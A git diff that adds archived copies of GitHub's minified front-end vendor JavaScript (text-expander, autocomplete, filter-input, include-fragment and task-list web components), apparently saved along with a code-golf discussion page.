S=["position:absolute;","overflow:auto;","word-wrap:break-word;","top:0px;","left:-9999px;"],B=["box-sizing","font-family","font-size","font-style","font-variant","font-weight","height","letter-spacing","line-height","max-height","min-height","padding-bottom","padding-left","padding-right","padding-top","border-bottom","border-left","border-right","border-top","text-decoration","text-indent","text-transform","width","word-spacing"],H=new WeakMap;function M(t,n){const a=t.nodeName.toLowerCase();if(a!=="textarea"&&a!=="input")throw new Error("expected textField to a textarea or input");let h=H.get(t);if(h&&h.parentElement===t.parentElement)h.innerHTML="";else{h=document.createElement("div"),H.set(t,h);const u=window.getComputedStyle(t),s=S.slice(0);a==="textarea"?s.push("white-space:pre-wrap;"):s.push("white-space:nowrap;");for(let i=0,f=B.length;i{a.remove()},5e3),{top:y.top-g.top,left:y.left-g.left}}c(R,"textFieldSelectionPosition");const k=new WeakMap;class m{constructor(n,a){this.expander=n,this.input=a,this.combobox=null,this.menu=null,this.match=null,this.justPasted=!1,this.lookBackIndex=0,this.oninput=this.onInput.bind(this),this.onpaste=this.onPaste.bind(this),this.onkeydown=this.onKeydown.bind(this),this.oncommit=this.onCommit.bind(this),this.onmousedown=this.onMousedown.bind(this),this.onblur=this.onBlur.bind(this),this.interactingWithList=!1,a.addEventListener("paste",this.onpaste),a.addEventListener("input",this.oninput),a.addEventListener("keydown",this.onkeydown),a.addEventListener("blur",this.onblur)}destroy(){this.input.removeEventListener("paste",this.onpaste),this.input.removeEventListener("input",this.oninput),this.input.removeEventListener("keydown",this.onkeydown),this.input.removeEventListener("blur",this.onblur)}dismissMenu(){this.deactivate()&&(this.lookBackIndex=this.input.selectionEnd||this.lookBackIndex)}activate(n,a){var h,g;if(this.input!==document.activeElement&&this.input!==((g=(h=document.activeElement)===null||h===void 0?void 0:h.shadowRoot)===null||g===void 0?void 0:g.activeElement))return;this.deactivate(),this.menu=a,a.id||(a.id=`text-expander-${Math.floor(Math.random()*1e5).toString()}`),this.expander.append(a),this.combobox=new x.Z(this.input,a);const{top:y,left:T}=R(this.input,n.position);a.style.top=`${y}px`,a.style.left=`${T}px`,this.combobox.start(),a.addEventListener("combobox-commit",this.oncommit),a.addEventListener("mousedown",this.onmousedown),this.combobox.navigate(1)}deactivate(){const n=this.menu;return!n||!this.combobox?!1:(this.menu=null,n.removeEventListener("combobox-commit",this.oncommit),n.removeEventListener("mousedown",this.onmousedown),this.combobox.destroy(),this.combobox=null,n.remove(),!0)}onCommit({target:n}){const a=n;if(!(a instanceof HTMLElement)||!this.combobox)return;const h=this.match;if(!h)return;const g=this.input.value.substring(0,h.position-h.key.length),y=this.input.value.substring(h.position+h.text.length),T={item:a,key:h.key,value:null};if(!this.expander.dispatchEvent(new CustomEvent("text-expander-value",{cancelable:!0,detail:T}))||!T.value)return;const s=`${T.value} `;this.input.value=g+s+y;const i=g.length+s.length;this.deactivate(),this.input.focus({preventScroll:!0}),this.input.selectionStart=i,this.input.selectionEnd=i,this.lookBackIndex=i,this.match=null}onBlur(){if(this.interactingWithList){this.interactingWithList=!1;return}this.deactivate()}onPaste(){this.justPasted=!0}async onInput(){if(this.justPasted){this.justPasted=!1;return}const n=this.findMatch();if(n){this.match=n;const a=await this.notifyProviders(n);if(!this.match)return;a?this.activate(n,a):this.deactivate()}else this.match=null,this.deactivate()}findMatch(){const n=this.input.selectionEnd||0,a=this.input.value;n<=this.lookBackIndex&&(this.lookBackIndex=n-1);for(const{key:h,multiWord:g}of this.expander.keys){const y=W(a,h,n,{multiWord:g,lookBackIndex:this.lookBackIndex,lastMatchPosition:this.match?this.match.position:null});if(y)return{text:y.text,key:h,position:y.position}}}async notifyProviders(n){const a=[],h=c(u=>a.push(u),"provide");return this.expander.dispatchEvent(new CustomEvent("text-expander-change",{cancelable:!0,detail:{provide:h,text:n.text,key:n.key}}))?(await Promise.all(a)).filter(u=>u.matched).map(u=>u.fragment)[0]:void 0}onMousedown(){this.interactingWithList=!0}onKeydown(n){n.key==="Escape"&&(this.match=null,this.deactivate()&&(this.lookBackIndex=this.input.selectionEnd||this.lookBackIndex,n.stopImmediatePropagation(),n.preventDefault()))}}c(m,"TextExpander");class v extends HTMLElement{get keys(){const n=this.getAttribute("keys"),a=n?n.split(" "):[],h=this.getAttribute("multiword"),g=h?h.split(" "):[],y=g.length===0&&this.hasAttribute("multiword");return a.map(T=>({key:T,multiWord:y||g.includes(T)}))}connectedCallback(){const n=this.querySelector('input[type="text"], textarea');if(!(n instanceof HTMLInputElement||n instanceof HTMLTextAreaElement))return;const a=new m(this,n);k.set(this,a)}disconnectedCallback(){const n=k.get(this);!n||(n.destroy(),k.delete(this))}dismiss(){const n=k.get(this);!n||n.dismissMenu()}}c(v,"TextExpanderElement"),window.customElements.get("text-expander")||(window.TextExpanderElement=v,window.customElements.define("text-expander",v));var d=null},88823:()=>{const j=function(){return document.readyState==="complete"?Promise.resolve():new Promise(W=>{window.addEventListener("load",W)})}();class P extends HTMLElement{async connectedCallback(){await j,this.content&&await x(this.lines,this.content,this.characterDelay,this.lineDelay),this.cursor&&(this.cursor.hidden=!0),this.dispatchEvent(new CustomEvent("typing:complete",{bubbles:!0,cancelable:!0}))}get content(){return this.querySelector('[data-target="typing-effect.content"]')}get cursor(){return this.querySelector('[data-target="typing-effect.cursor"]')}get lines(){const S=this.getAttribute("data-lines");try{return S?JSON.parse(S):[]}catch{return[]}}get prefersReducedMotion(){return window.matchMedia("(prefers-reduced-motion)").matches}get characterDelay(){return this.prefersReducedMotion?0:Math.max(0,Math.min(Math.floor(Number(this.getAttribute("data-character-delay"))),2147483647))||40}set characterDelay(S){if(S>2147483647||S<0)throw new DOMException("Value is negative or greater than the allowed amount");this.setAttribute("data-character-delay",String(S))}get lineDelay(){return this.prefersReducedMotion?0:Math.max(0,Math.min(Math.floor(Number(this.getAttribute("data-line-delay"))),2147483647))||40}set lineDelay(S){if(S>2147483647||S<0)throw new DOMException("Value is negative or greater than the allowed amount");this.setAttribute("data-line-delay",String(S))}}c(P,"TypingEffectElement");var I=null;window.customElements.get("typing-effect")||(window.TypingEffectElement=P,window.customElements.define("typing-effect",P));async function x(W,S,B,H){for(let M=0;M{setTimeout(S,W)})}c(_,"wait")}}]);})(); + +//# sourceMappingURL=vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_primer_view-co-52e104-58612d26affb.js.map \ No newline at end of file diff --git a/archive/Problem 10 Brute Force · Discussion #15 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_filter-input-element_dist_index_j.js b/archive/Problem 10 Brute Force · Discussion #15 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_filter-input-element_dist_index_j.js new file mode 100644 index 0000000..1396f80 --- /dev/null +++ b/archive/Problem 10 Brute Force · Discussion #15 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_filter-input-element_dist_index_j.js @@ -0,0 +1,14 @@ +"use strict";(()=>{var W=Object.defineProperty;var o=(D,x)=>W(D,"name",{value:x,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-c7e9ed"],{13002:(D,x,M)=>{M.d(x,{Z:()=>d});class v extends HTMLElement{constructor(){super();this.currentQuery=null,this.filter=null,this.debounceInputChange=_(()=>u(this,!0)),this.boundFilterResults=()=>{u(this,!1)}}static get observedAttributes(){return["aria-owns"]}attributeChangedCallback(n,t){t&&n==="aria-owns"&&u(this,!1)}connectedCallback(){const n=this.input;!n||(n.setAttribute("autocomplete","off"),n.setAttribute("spellcheck","false"),n.addEventListener("focus",this.boundFilterResults),n.addEventListener("change",this.boundFilterResults),n.addEventListener("input",this.debounceInputChange))}disconnectedCallback(){const n=this.input;!n||(n.removeEventListener("focus",this.boundFilterResults),n.removeEventListener("change",this.boundFilterResults),n.removeEventListener("input",this.debounceInputChange))}get input(){const n=this.querySelector("input");return n instanceof HTMLInputElement?n:null}reset(){const n=this.input;n&&(n.value="",n.dispatchEvent(new Event("change",{bubbles:!0})))}}o(v,"FilterInputElement");async function u(e,n=!1){const t=e.input;if(!t)return;const a=t.value.trim(),l=e.getAttribute("aria-owns");if(!l)return;const r=document.getElementById(l);if(!r)return;const c=r.hasAttribute("data-filter-list")?r:r.querySelector("[data-filter-list]");if(!c||(e.dispatchEvent(new CustomEvent("filter-input-start",{bubbles:!0})),n&&e.currentQuery===a))return;e.currentQuery=a;const m=e.filter||S,A=c.childElementCount;let h=0,k=!1;for(const g of Array.from(c.children)){if(!(g instanceof HTMLElement))continue;const L=w(g),R=m(g,L,a);R.hideNew===!0&&(k=R.hideNew),g.hidden=!R.match,R.match&&h++}const b=r.querySelector("[data-filter-new-item]"),E=!!b&&a.length>0&&!k;b instanceof HTMLElement&&(b.hidden=!E,E&&p(b,a)),y(r,h>0||E),e.dispatchEvent(new CustomEvent("filter-input-updated",{bubbles:!0,detail:{count:h,total:A}}))}o(u,"filterResults");function S(e,n,t){return{match:n.toLowerCase().indexOf(t.toLowerCase())!==-1,hideNew:n===t}}o(S,"matchSubstring");function w(e){return((e.querySelector("[data-filter-item-text]")||e).textContent||"").trim()}o(w,"getText");function p(e,n){const t=e.querySelector("[data-filter-new-item-text]");t&&(t.textContent=n);const a=e.querySelector("[data-filter-new-item-value]");(a instanceof HTMLInputElement||a instanceof HTMLButtonElement)&&(a.value=n)}o(p,"updateNewItem");function y(e,n){const t=e.querySelector("[data-filter-empty-state]");t instanceof HTMLElement&&(t.hidden=n)}o(y,"toggleBlankslate");function _(e){let n;return function(){clearTimeout(n),n=setTimeout(()=>{clearTimeout(n),e()},300)}}o(_,"debounce");const d=v;window.customElements.get("filter-input")||(window.FilterInputElement=v,window.customElements.define("filter-input",v))},88309:(D,x,M)=>{M.d(x,{Z:()=>_});const v=new WeakMap;class u extends HTMLElement{constructor(){super();const e=w.bind(null,this,!0),n={currentQuery:null,oninput:y(e),fetch:e,controller:null};v.set(this,n)}static get observedAttributes(){return["src"]}attributeChangedCallback(e,n){n&&e==="src"&&w(this,!1)}connectedCallback(){const e=this.input;if(!e)return;e.setAttribute("autocomplete","off"),e.setAttribute("spellcheck","false");const n=v.get(this);!n||(e.addEventListener("focus",n.fetch),e.addEventListener("change",n.fetch),e.addEventListener("input",n.oninput))}disconnectedCallback(){const e=this.input;if(!e)return;const n=v.get(this);!n||(e.removeEventListener("focus",n.fetch),e.removeEventListener("change",n.fetch),e.removeEventListener("input",n.oninput))}get input(){const e=this.querySelector("input, textarea");return e instanceof HTMLInputElement||e instanceof HTMLTextAreaElement?e:null}get src(){return this.getAttribute("src")||""}set src(e){this.setAttribute("src",e)}}o(u,"RemoteInputElement");function S(){return"AbortController"in window?new AbortController:{signal:null,abort(){}}}o(S,"makeAbortController");async function w(d,e){const n=d.input;if(!n)return;const t=v.get(d);if(!t)return;const a=n.value;if(e&&t.currentQuery===a)return;t.currentQuery=a;const l=d.src;if(!l)return;const r=document.getElementById(d.getAttribute("aria-owns")||"");if(!r)return;const c=new URL(l,window.location.href),m=new URLSearchParams(c.search);m.append(d.getAttribute("param")||"q",a),c.search=m.toString(),t.controller?t.controller.abort():(d.dispatchEvent(new CustomEvent("loadstart")),d.setAttribute("loading","")),t.controller=S();let A,h="";try{A=await p(d,c.toString(),{signal:t.controller.signal,credentials:"same-origin",headers:{accept:"text/fragment+html"}}),h=await A.text(),d.removeAttribute("loading"),t.controller=null}catch(k){k.name!=="AbortError"&&(d.removeAttribute("loading"),t.controller=null);return}A&&A.ok?(r.innerHTML=h,d.dispatchEvent(new CustomEvent("remote-input-success",{bubbles:!0}))):d.dispatchEvent(new CustomEvent("remote-input-error",{bubbles:!0}))}o(w,"fetchResults");async function p(d,e,n){try{const t=await fetch(e,n);return d.dispatchEvent(new CustomEvent("load")),d.dispatchEvent(new CustomEvent("loadend")),t}catch(t){throw t.name!=="AbortError"&&(d.dispatchEvent(new CustomEvent("error")),d.dispatchEvent(new CustomEvent("loadend"))),t}}o(p,"fetchWithNetworkEvents");function y(d){let e;return function(){clearTimeout(e),e=setTimeout(()=>{clearTimeout(e),d()},300)}}o(y,"debounce");const _=u;window.customElements.get("remote-input")||(window.RemoteInputElement=u,window.customElements.define("remote-input",u))},29501:(D,x,M)=>{M.d(x,{Z:()=>u});function v(w){return Array.from(w.querySelectorAll('[role="tablist"] [role="tab"]')).filter(p=>p instanceof HTMLElement&&p.closest(w.tagName)===w)}o(v,"getTabs");class u extends HTMLElement{constructor(){super();this.addEventListener("keydown",p=>{const y=p.target;if(!(y instanceof HTMLElement)||y.closest(this.tagName)!==this||y.getAttribute("role")!=="tab"&&!y.closest('[role="tablist"]'))return;const _=v(this),d=_.indexOf(_.find(e=>e.matches('[aria-selected="true"]')));if(p.code==="ArrowRight"){let e=d+1;e>=_.length&&(e=0),S(this,e)}else if(p.code==="ArrowLeft"){let e=d-1;e<0&&(e=_.length-1),S(this,e)}else p.code==="Home"?(S(this,0),p.preventDefault()):p.code==="End"&&(S(this,_.length-1),p.preventDefault())}),this.addEventListener("click",p=>{const y=v(this);if(!(p.target instanceof Element)||p.target.closest(this.tagName)!==this)return;const _=p.target.closest('[role="tab"]');if(!(_ instanceof HTMLElement)||!_.closest('[role="tablist"]'))return;const d=y.indexOf(_);S(this,d)})}connectedCallback(){for(const p of v(this))p.hasAttribute("aria-selected")||p.setAttribute("aria-selected","false"),p.hasAttribute("tabindex")||(p.getAttribute("aria-selected")==="true"?p.setAttribute("tabindex","0"):p.setAttribute("tabindex","-1"))}}o(u,"TabContainerElement");function S(w,p){const y=v(w),_=Array.from(w.querySelectorAll('[role="tabpanel"]')).filter(t=>t.closest(w.tagName)===w),d=y[p],e=_[p];if(!!w.dispatchEvent(new CustomEvent("tab-container-change",{bubbles:!0,cancelable:!0,detail:{relatedTarget:e}}))){for(const t of y)t.setAttribute("aria-selected","false"),t.setAttribute("tabindex","-1");for(const t of _)t.hidden=!0,!t.hasAttribute("tabindex")&&!t.hasAttribute("data-tab-container-no-tabstop")&&t.setAttribute("tabindex","0");d.setAttribute("aria-selected","true"),d.setAttribute("tabindex","0"),d.focus(),e.hidden=!1,w.dispatchEvent(new CustomEvent("tab-container-changed",{bubbles:!0,detail:{relatedTarget:e}}))}}o(S,"selectTab"),window.customElements.get("tab-container")||(window.TabContainerElement=u,window.customElements.define("tab-container",u))},47142:(D,x,M)=>{M.d(x,{CD:()=>A,Gs:()=>c,m7:()=>m});var v=-1/0,u=1/0,S=-.005,w=-.005,p=-.01,y=1,_=.9,d=.8,e=.7,n=.6;function t(h){return h.toLowerCase()===h}o(t,"islower");function a(h){return h.toUpperCase()===h}o(a,"isupper");function l(h){for(var k=h.length,b=new Array(k),E="/",g=0;g1024)return v;var g=new Array(b),L=new Array(b);return r(h,k,g,L),L[b-1][E-1]}o(c,"score");function m(h,k){var b=h.length,E=k.length,g=new Array(b);if(!b||!E)return g;if(b===E){for(var L=0;L1024)return g;var R=new Array(b),O=new Array(b);r(h,k,R,O);for(var I=!1,L=b-1,T=E-1;L>=0;L--)for(;T>=0;T--)if(R[L][T]!==v&&(I||R[L][T]===O[L][T])){I=L&&T&&O[L][T]===R[L-1][T-1]+y,g[L]=T--;break}return g}o(m,"positions");function A(h,k){h=h.toLowerCase(),k=k.toLowerCase();for(var b=h.length,E=0,g=0;E{M.d(x,{Z:()=>a});var v=M(10160);class u extends CustomEvent{constructor(r,c){super(r,c);this.relatedTarget=c.relatedTarget}}o(u,"AutocompleteEvent");function S(l,r=0){let c;return function(...m){clearTimeout(c),c=window.setTimeout(()=>{clearTimeout(c),l(...m)},r)}}o(S,"debounce");const w=new WeakMap;function p(l,r){const c=new XMLHttpRequest;return c.open("GET",r,!0),c.setRequestHeader("Accept","text/fragment+html"),y(l,c)}o(p,"fragment");function y(l,r){const c=w.get(l);c&&c.abort(),w.set(l,r);const m=o(()=>w.delete(l),"clear"),A=_(r);return A.then(m,m),A}o(y,"request");function _(l){return new Promise((r,c)=>{l.onload=function(){l.status>=200&&l.status<300?r(l.responseText):c(new Error(l.responseText))},l.onerror=c,l.send()})}o(_,"send");const d=window.testScreenReaderDelay||100;class e{constructor(r,c,m,A=!1){var h;if(this.container=r,this.input=c,this.results=m,this.combobox=new v.Z(c,m),this.feedback=document.getElementById(`${this.results.id}-feedback`),this.autoselectEnabled=A,this.clearButton=document.getElementById(`${this.input.id||this.input.name}-clear`),this.clientOptions=m.querySelectorAll("[role=option]"),this.feedback&&(this.feedback.setAttribute("aria-live","polite"),this.feedback.setAttribute("aria-atomic","true")),this.clearButton&&!this.clearButton.getAttribute("aria-label")){const k=document.querySelector(`label[for="${this.input.name}"]`);this.clearButton.setAttribute("aria-label","clear:"),this.clearButton.setAttribute("aria-labelledby",`${this.clearButton.id} ${(k==null?void 0:k.id)||""}`)}this.input.getAttribute("aria-expanded")||this.input.setAttribute("aria-expanded","false"),this.results.hidden=!0,this.results.setAttribute("aria-label","results"),this.input.setAttribute("autocomplete","off"),this.input.setAttribute("spellcheck","false"),this.interactingWithList=!1,this.onInputChange=S(this.onInputChange.bind(this),300),this.onResultsMouseDown=this.onResultsMouseDown.bind(this),this.onInputBlur=this.onInputBlur.bind(this),this.onInputFocus=this.onInputFocus.bind(this),this.onKeydown=this.onKeydown.bind(this),this.onCommit=this.onCommit.bind(this),this.handleClear=this.handleClear.bind(this),this.input.addEventListener("keydown",this.onKeydown),this.input.addEventListener("focus",this.onInputFocus),this.input.addEventListener("blur",this.onInputBlur),this.input.addEventListener("input",this.onInputChange),this.results.addEventListener("mousedown",this.onResultsMouseDown),this.results.addEventListener("combobox-commit",this.onCommit),(h=this.clearButton)===null||h===void 0||h.addEventListener("click",this.handleClear)}destroy(){this.input.removeEventListener("keydown",this.onKeydown),this.input.removeEventListener("focus",this.onInputFocus),this.input.removeEventListener("blur",this.onInputBlur),this.input.removeEventListener("input",this.onInputChange),this.results.removeEventListener("mousedown",this.onResultsMouseDown),this.results.removeEventListener("combobox-commit",this.onCommit)}handleClear(r){r.preventDefault(),this.input.getAttribute("aria-expanded")==="true"&&(this.input.setAttribute("aria-expanded","false"),this.updateFeedbackForScreenReaders("Results hidden.")),this.input.value="",this.container.value="",this.input.focus(),this.input.dispatchEvent(new Event("change")),this.container.open=!1}onKeydown(r){if(r.key==="Enter"&&this.container.open&&this.autoselectEnabled){const c=this.results.children[0];c&&(r.stopPropagation(),r.preventDefault(),this.onCommit({target:c}))}if(r.key==="Escape"&&this.container.open)this.container.open=!1,r.stopPropagation(),r.preventDefault();else if(r.altKey&&r.key==="ArrowUp"&&this.container.open)this.container.open=!1,r.stopPropagation(),r.preventDefault();else if(r.altKey&&r.key==="ArrowDown"&&!this.container.open){if(!this.input.value.trim())return;this.container.open=!0,r.stopPropagation(),r.preventDefault()}}onInputFocus(){this.fetchResults()}onInputBlur(){if(this.interactingWithList){this.interactingWithList=!1;return}this.container.open=!1}onCommit({target:r}){const c=r;if(!(c instanceof HTMLElement)||(this.container.open=!1,c instanceof HTMLAnchorElement))return;const m=c.getAttribute("data-autocomplete-value")||c.textContent;this.updateFeedbackForScreenReaders(`${c.textContent||""} selected.`),this.container.value=m,m||this.updateFeedbackForScreenReaders("Results hidden.")}onResultsMouseDown(){this.interactingWithList=!0}onInputChange(){this.feedback&&this.feedback.innerHTML&&(this.feedback.innerHTML=""),this.container.removeAttribute("value"),this.fetchResults()}identifyOptions(){let r=0;for(const c of this.results.querySelectorAll('[role="option"]:not([id])'))c.id=`${this.results.id}-option-${r++}`}updateFeedbackForScreenReaders(r){setTimeout(()=>{this.feedback&&(this.feedback.innerHTML=r)},d)}fetchResults(){const r=this.input.value.trim();if(!r){this.container.open=!1;return}const c=this.container.src;if(!c)return;const m=new URL(c,window.location.href),A=new URLSearchParams(m.search.slice(1));A.append("q",r),m.search=A.toString(),this.container.dispatchEvent(new CustomEvent("loadstart")),p(this.input,m.toString()).then(h=>{this.results.innerHTML=h,this.identifyOptions();const k=this.results.querySelectorAll('[role="option"]'),b=!!k.length,E=k.length,[g]=k,L=g==null?void 0:g.textContent;this.autoselectEnabled&&L?this.updateFeedbackForScreenReaders(`${E} results. ${L} is the top result: Press Enter to activate.`):this.updateFeedbackForScreenReaders(`${E||"No"} results.`),this.container.open=b,this.container.dispatchEvent(new CustomEvent("load")),this.container.dispatchEvent(new CustomEvent("loadend"))}).catch(()=>{this.container.dispatchEvent(new CustomEvent("error")),this.container.dispatchEvent(new CustomEvent("loadend"))})}open(){!this.results.hidden||(this.combobox.start(),this.results.hidden=!1)}close(){this.results.hidden||(this.combobox.stop(),this.results.hidden=!0)}}o(e,"Autocomplete");const n=new WeakMap;class t extends HTMLElement{connectedCallback(){const r=this.getAttribute("for");if(!r)return;const c=this.querySelector("input"),m=document.getElementById(r);if(!(c instanceof HTMLInputElement)||!m)return;const A=this.getAttribute("data-autoselect")==="true";n.set(this,new e(this,c,m,A)),m.setAttribute("role","listbox")}disconnectedCallback(){const r=n.get(this);r&&(r.destroy(),n.delete(this))}get src(){return this.getAttribute("src")||""}set src(r){this.setAttribute("src",r)}get value(){return this.getAttribute("value")||""}set value(r){this.setAttribute("value",r)}get open(){return this.hasAttribute("open")}set open(r){r?this.setAttribute("open",""):this.removeAttribute("open")}static get observedAttributes(){return["open","value"]}attributeChangedCallback(r,c,m){if(c===m)return;const A=n.get(this);if(!!A)switch(r){case"open":m===null?A.close():A.open();break;case"value":m!==null&&(A.input.value=m),this.dispatchEvent(new u("auto-complete-change",{bubbles:!0,relatedTarget:A.input}));break}}}o(t,"AutocompleteElement"),window.customElements.get("auto-complete")||(window.AutocompleteElement=t,window.customElements.define("auto-complete",t));const a=t},10160:(D,x,M)=>{M.d(x,{Z:()=>u});const v=!!navigator.userAgent.match(/Macintosh/);class u{constructor(a,l){this.input=a,this.list=l,this.isComposing=!1,l.id||(l.id=`combobox-${Math.random().toString().slice(2,6)}`),this.keyboardEventHandler=r=>S(r,this),this.compositionEventHandler=r=>d(r,this),this.inputHandler=this.clearSelection.bind(this),a.setAttribute("role","combobox"),a.setAttribute("aria-controls",l.id),a.setAttribute("aria-expanded","false"),a.setAttribute("aria-autocomplete","list"),a.setAttribute("aria-haspopup","listbox")}destroy(){this.clearSelection(),this.stop(),this.input.removeAttribute("role"),this.input.removeAttribute("aria-controls"),this.input.removeAttribute("aria-expanded"),this.input.removeAttribute("aria-autocomplete"),this.input.removeAttribute("aria-haspopup")}start(){this.input.setAttribute("aria-expanded","true"),this.input.addEventListener("compositionstart",this.compositionEventHandler),this.input.addEventListener("compositionend",this.compositionEventHandler),this.input.addEventListener("input",this.inputHandler),this.input.addEventListener("keydown",this.keyboardEventHandler),this.list.addEventListener("click",w)}stop(){this.clearSelection(),this.input.setAttribute("aria-expanded","false"),this.input.removeEventListener("compositionstart",this.compositionEventHandler),this.input.removeEventListener("compositionend",this.compositionEventHandler),this.input.removeEventListener("input",this.inputHandler),this.input.removeEventListener("keydown",this.keyboardEventHandler),this.list.removeEventListener("click",w)}navigate(a=1){const l=Array.from(this.list.querySelectorAll('[aria-selected="true"]')).filter(_)[0],r=Array.from(this.list.querySelectorAll('[role="option"]')).filter(_),c=r.indexOf(l);if(c===r.length-1&&a===1||c===0&&a===-1){this.clearSelection(),this.input.focus();return}let m=a===1?0:r.length-1;if(l&&c>=0){const h=c+a;h>=0&&h0||t.offsetHeight>0)}o(_,"visible");function d(t,a){a.isComposing=t.type==="compositionstart",!!document.getElementById(a.input.getAttribute("aria-controls")||"")&&a.clearSelection()}o(d,"trackComposition");function e(t,a){n(t,a)||(t.scrollTop=a.offsetTop)}o(e,"scrollTo");function n(t,a){const l=t.scrollTop,r=l+t.clientHeight,c=a.offsetTop,m=c+a.clientHeight;return c>=l&&m<=r}o(n,"inViewport")},27034:(D,x,M)=>{M.d(x,{Z:()=>d});const v=new WeakMap,u=new IntersectionObserver(e=>{for(const n of e)if(n.isIntersecting){const{target:t}=n;if(u.unobserve(t),!(t instanceof d))return;t.loading==="lazy"&&w(t)}},{rootMargin:"0px 0px 256px 0px",threshold:.01});function S(){return new Promise(e=>setTimeout(e,0))}o(S,"task");async function w(e){return u.unobserve(e),p(e).then(function(n){const t=document.createElement("template");t.innerHTML=n;const a=document.importNode(t.content,!0);!e.dispatchEvent(new CustomEvent("include-fragment-replace",{cancelable:!0,detail:{fragment:a}}))||(e.replaceWith(a),e.dispatchEvent(new CustomEvent("include-fragment-replaced")))},function(){e.classList.add("is-error")})}o(w,"handleData");function p(e){const n=e.src;let t=v.get(e);return t&&t.src===n?t.data:(n?t=y(e):t=Promise.reject(new Error("missing src")),v.set(e,{src:n,data:t}),t)}o(p,"getData");function y(e){return S().then(()=>(e.dispatchEvent(new Event("loadstart")),e.fetch(e.request()))).then(n=>{if(n.status!==200)throw new Error(`Failed to load resource: the server responded with a status of ${n.status}`);const t=n.headers.get("Content-Type");if(!_(e.accept)&&(!t||!t.includes(e.accept?e.accept:"text/html")))throw new Error(`Failed to load resource: expected ${e.accept||"text/html"} but was ${t}`);return n.text()}).then(n=>(S().then(()=>{e.dispatchEvent(new Event("load")),e.dispatchEvent(new Event("loadend"))}),n),n=>{throw S().then(()=>{e.dispatchEvent(new Event("error")),e.dispatchEvent(new Event("loadend"))}),n})}o(y,"fetchDataWithEvents");function _(e){return e&&!!e.split(",").find(n=>n.match(/^\s*\*\/\*/))}o(_,"isWildcard");class d extends HTMLElement{static get observedAttributes(){return["src","loading"]}get src(){const n=this.getAttribute("src");if(n){const t=this.ownerDocument.createElement("a");return t.href=n,t.href}else return""}set src(n){this.setAttribute("src",n)}get loading(){return this.getAttribute("loading")==="lazy"?"lazy":"eager"}set loading(n){this.setAttribute("loading",n)}get accept(){return this.getAttribute("accept")||""}set accept(n){this.setAttribute("accept",n)}get data(){return p(this)}attributeChangedCallback(n,t){n==="src"?this.isConnected&&this.loading==="eager"&&w(this):n==="loading"&&this.isConnected&&t!=="eager"&&this.loading==="eager"&&w(this)}constructor(){super();this.attachShadow({mode:"open"}).innerHTML=` + + `}connectedCallback(){this.src&&this.loading==="eager"&&w(this),this.loading==="lazy"&&u.observe(this)}request(){const n=this.src;if(!n)throw new Error("missing src");return new Request(n,{method:"GET",credentials:"same-origin",headers:{Accept:this.accept||"text/html"}})}load(){return p(this)}fetch(n){return fetch(n)}}o(d,"IncludeFragmentElement"),window.customElements.get("include-fragment")||(window.IncludeFragmentElement=d,window.customElements.define("include-fragment",d))},40987:(D,x,M)=>{M.d(x,{Z:()=>l});const v=new WeakMap;let u=null;function S(){return!!u}o(S,"isDragging");function w(i,s,f){v.set(i,{sortStarted:s,sortFinished:f}),i.addEventListener("dragstart",_),i.addEventListener("dragenter",d),i.addEventListener("dragend",n),i.addEventListener("drop",e),i.addEventListener("dragover",t)}o(w,"sortable");function p(i,s){if(i.parentNode===s.parentNode){let f=i;for(;f;){if(f===s)return!0;f=f.previousElementSibling}}return!1}o(p,"isBefore");function y(i,s){return i.closest("task-lists")===s.closest("task-lists")}o(y,"isSameContainer");function _(i){if(i.currentTarget!==i.target)return;const s=i.currentTarget;if(!(s instanceof Element))return;const f=s.closest(".contains-task-list");if(!f||(s.classList.add("is-ghost"),i.dataTransfer&&i.dataTransfer.setData("text/plain",(s.textContent||"").trim()),!s.parentElement))return;const C=Array.from(s.parentElement.children),F=C.indexOf(s),B=v.get(s);B&&B.sortStarted(f),u={didDrop:!1,dragging:s,dropzone:s,sourceList:f,sourceSibling:C[F+1]||null,sourceIndex:F}}o(_,"onDragStart");function d(i){if(!u)return;const s=i.currentTarget;if(s instanceof Element){if(!y(u.dragging,s)){i.stopPropagation();return}i.preventDefault(),i.dataTransfer&&(i.dataTransfer.dropEffect="move"),u.dropzone!==s&&(u.dragging.classList.add("is-dragging"),u.dropzone=s,p(u.dragging,s)?s.before(u.dragging):s.after(u.dragging))}}o(d,"onDragEnter");function e(i){if(!u)return;i.preventDefault(),i.stopPropagation();const s=i.currentTarget;if(!(s instanceof Element)||(u.didDrop=!0,!u.dragging.parentElement))return;let f=Array.from(u.dragging.parentElement.children).indexOf(u.dragging);const C=s.closest(".contains-task-list");if(!C||u.sourceIndex===f&&u.sourceList===C)return;u.sourceList===C&&u.sourceIndex{const C=f.target;C instanceof HTMLInputElement&&(!C.classList.contains("task-list-item-checkbox")||this.dispatchEvent(new CustomEvent("task-lists-check",{bubbles:!0,detail:{position:k(C),checked:C.checked}})))});const s=new MutationObserver(L.bind(null,this));a.set(this,s),s.observe(this,{childList:!0,subtree:!0}),L(this)}disconnectedCallback(){const s=a.get(this);s&&s.disconnect()}get disabled(){return this.hasAttribute("disabled")}set disabled(s){s?this.setAttribute("disabled",""):this.removeAttribute("disabled")}get sortable(){return this.hasAttribute("sortable")}set sortable(s){s?this.setAttribute("sortable",""):this.removeAttribute("sortable")}static get observedAttributes(){return["disabled"]}attributeChangedCallback(s,f,C){if(f!==C)switch(s){case"disabled":R(this);break}}}o(l,"TaskListsElement");const r=document.createElement("template");r.innerHTML=` + + + `;const c=new WeakMap;function m(i){if(c.get(i))return;c.set(i,!0);const s=i.closest("task-lists");if(!(s instanceof l)||s.querySelectorAll(".task-list-item").length<=1)return;const f=r.content.cloneNode(!0),C=f.querySelector(".handle");if(i.prepend(f),!C)throw new Error("handle not found");C.addEventListener("mouseenter",P),C.addEventListener("mouseleave",H),w(i,T,q),i.addEventListener("mouseenter",A),i.addEventListener("mouseleave",h)}o(m,"initItem");function A(i){const s=i.currentTarget;if(!(s instanceof Element))return;const f=s.closest("task-lists");f instanceof l&&f.sortable&&!f.disabled&&s.classList.add("hovered")}o(A,"onListItemMouseOver");function h(i){const s=i.currentTarget;s instanceof Element&&s.classList.remove("hovered")}o(h,"onListItemMouseOut");function k(i){const s=b(i);if(!s)throw new Error(".contains-task-list not found");const 